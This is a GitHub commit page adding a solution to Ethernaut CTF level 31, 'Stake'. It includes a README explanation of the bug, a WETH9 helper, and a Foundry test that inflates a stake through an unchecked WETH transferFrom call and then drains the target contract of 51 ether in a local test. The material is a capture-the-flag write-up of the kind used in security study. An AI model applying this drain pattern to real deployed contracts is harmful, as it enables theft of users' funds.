Skip to content

Commit

Permalink
feat: ethernaut ctf lvl 31 solution
Browse files Browse the repository at this point in the history
  • Loading branch information
leovct committed Oct 2, 2024
1 parent a5142e5 commit c988f93
Show file tree
Hide file tree
Showing 4 changed files with 187 additions and 1 deletion.
2 changes: 1 addition & 1 deletion docs/EthernautCTF.md
Original file line number Diff line number Diff line change
Expand Up @@ -32,6 +32,6 @@
| 28 | [GatekeeperThree](../src/EthernautCTF/GatekeeperThree.sol) || | |
| 29 | [Switch](../src/EthernautCTF/Switch.sol) || | |
| 30 | [HigherOrder](../src/EthernautCTF/HigherOrder.sol) || | |
| 31 | [Stake](../src/EthernautCTF/Stake.sol) | | | |
| 31 | [Stake](../src/EthernautCTF/Stake.sol) | | [StakeExploit](../test/EthernautCTF/StakeExploit.t.sol) | The contract updates the balance of the user before making sure the tokens have been transfered to the contract. |

(\*) I opened a [PR](https://github.com/OpenZeppelin/ethernaut/pull/756) to prevent cheating in challenge 16.
3 changes: 3 additions & 0 deletions src/EthernautCTF/Stake.sol
Original file line number Diff line number Diff line change
@@ -1,5 +1,6 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Stake {
uint256 public totalStaked;
mapping(address => uint256) public UserStake;
Expand All @@ -17,6 +18,7 @@ contract Stake {
UserStake[msg.sender] += msg.value;
Stakers[msg.sender] = true;
}

function StakeWETH(uint256 amount) public returns (bool) {
require(amount > 0.001 ether, "Don't be cheap");
(, bytes memory allowance) = WETH.call(
Expand All @@ -42,6 +44,7 @@ contract Stake {
(bool success, ) = payable(msg.sender).call{value: amount}('');
return success;
}

function bytesToUint(bytes memory data) internal pure returns (uint256) {
require(data.length >= 32, 'Data length must be at least 32 bytes');
uint256 result;
Expand Down
66 changes: 66 additions & 0 deletions src/EthernautCTF/helpers/WETH9.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,66 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract WETH9 {
string public name = 'Wrapped Ether';
string public symbol = 'WETH';
uint8 public decimals = 18;

event Approval(address indexed src, address indexed guy, uint256 wad);
event Transfer(address indexed src, address indexed dst, uint256 wad);
event Deposit(address indexed dst, uint256 wad);
event Withdrawal(address indexed src, uint256 wad);

mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;

receive() external payable {
deposit();
}

function deposit() public payable {
balanceOf[msg.sender] += msg.value;
emit Deposit(msg.sender, msg.value);
}

function withdraw(uint256 wad) public {
require(balanceOf[msg.sender] >= wad, '');
balanceOf[msg.sender] -= wad;
payable(msg.sender).transfer(wad);
emit Withdrawal(msg.sender, wad);
}

function totalSupply() public view returns (uint256) {
return address(this).balance;
}

function approve(address guy, uint256 wad) public returns (bool) {
allowance[msg.sender][guy] = wad;
emit Approval(msg.sender, guy, wad);
return true;
}

function transfer(address dst, uint256 wad) public returns (bool) {
return transferFrom(msg.sender, dst, wad);
}

function transferFrom(
address src,
address dst,
uint256 wad
) public returns (bool) {
require(balanceOf[src] >= wad, '');

if (src != msg.sender && allowance[src][msg.sender] != type(uint256).max) {
require(allowance[src][msg.sender] >= wad, '');
allowance[src][msg.sender] -= wad;
}

balanceOf[src] -= wad;
balanceOf[dst] += wad;

emit Transfer(src, dst, wad);

return true;
}
}
117 changes: 117 additions & 0 deletions test/EthernautCTF/StakeExploit.t.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,117 @@
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '../../src/EthernautCTF/Stake.sol';
import '../../src/EthernautCTF/helpers/WETH9.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';

contract StakeExploit is Test {
Stake target;
WETH9 weth9;
address deployer = makeAddr('deployer');
address exploiter = makeAddr('exploiter');

function setUp() public {
vm.deal(deployer, 100 ether);
vm.deal(exploiter, 1 ether);

vm.startPrank(deployer);
weth9 = new WETH9();
target = new Stake{value: 50 ether}(address(weth9));
console2.log('Target contract deployed');
vm.stopPrank();
}

function testExploit() public {
// Check the exploiter balance.
uint256 exploiterBalance = exploiter.balance;
assertEq(exploiterBalance, 1 ether);
console2.log('Exploiter balance: %d ether', exploiterBalance / 1 ether);

// Check the target contract balance.
uint256 targetBalance = address(target).balance;
assertEq(targetBalance, 50 ether);
console2.log('Target balance: %d ether', targetBalance / 1 ether);

// Check the stakes.
(
uint256 deployerStake,
uint256 exploiterStake,
uint256 totalStake
) = getStakes();
assertEq(deployerStake, 0 ether);
assertEq(exploiterStake, 0 ether);
assertEq(totalStake, 50 ether);

console2.log('Performing the exploit');
// The Stake contract makes some calls to the WETH9 contract using the function selector.
// We can use `cast 4byte` to get the function signatures instead:
// $ cast 4byte 0xdd62ed3e
// allowance(address,address)
// $ cast 4byte 0x23b872dd
// transferFrom(address,address,uint256)

// Stake some ether.
vm.startPrank(exploiter);
target.StakeETH{value: 1 ether}();
assertEq(target.UserStake(exploiter), 1 ether);
console2.log('Exploiter stacked one ether');

assertEq(target.Stakers(exploiter), true);
console2.log('The exploiter is now a staker');

// Manipulate the WETH9 allowance.
// We will grant the Stake contract a very big allowance from the exploiter address.
// This way when calling StakeWETH, the contract will update our stake but it will fail when
// trying to transfer the WETH tokens to the contract. We'll manage to inflate our stake out of
// nothing!
weth9.approve(address(target), 50 ether);
target.StakeWETH(50 ether);
console2.log('The exploiter inflated his stake by 50 ether');

// Check the stakes.
(deployerStake, exploiterStake, totalStake) = getStakes();
assertEq(deployerStake, 0 ether);
assertEq(exploiterStake, 1 ether + 50 ether); // inflated stake by 50 ether
assertEq(totalStake, 50 ether + 1 ether + 50 ether);

// Drain the contract.
target.Unstake(51 ether);
console2.log('The exploiter drains the contract');
vm.stopPrank();

// Check the exploiter balance.
exploiterBalance = exploiter.balance;
assertEq(exploiterBalance, 51 ether);
console2.log('Exploiter balance: %d ether', exploiterBalance / 1 ether);

// Check the target contract balance.
targetBalance = address(target).balance;
assertEq(targetBalance, 0 ether);
console2.log('Target balance: %d ether', targetBalance / 1 ether);

// Check the target contract stake.
console2.log('The target contract now reports fake stakes');
(deployerStake, exploiterStake, totalStake) = getStakes();
assertEq(deployerStake, 0 ether);
assertEq(exploiterStake, 0 ether);
assertEq(totalStake, 50 ether); // fake money because the contract has been drained
}

function getStakes() public view returns (uint256, uint256, uint256) {
console2.log('=== STAKES ===');

uint256 deployerStake = target.UserStake(deployer);
console2.log('Deployer stake: %d ether', deployerStake / 1 ether);

uint256 exploiterStake = target.UserStake(exploiter);
console2.log('Exploiter stake: %d ether', exploiterStake / 1 ether);

uint256 totalStake = target.totalStaked();
console2.log('Total stake: %d ether', totalStake / 1 ether);

console2.log(); // break line
return (deployerStake, exploiterStake, totalStake);
}
}

0 comments on commit c988f93

Please sign in to comment.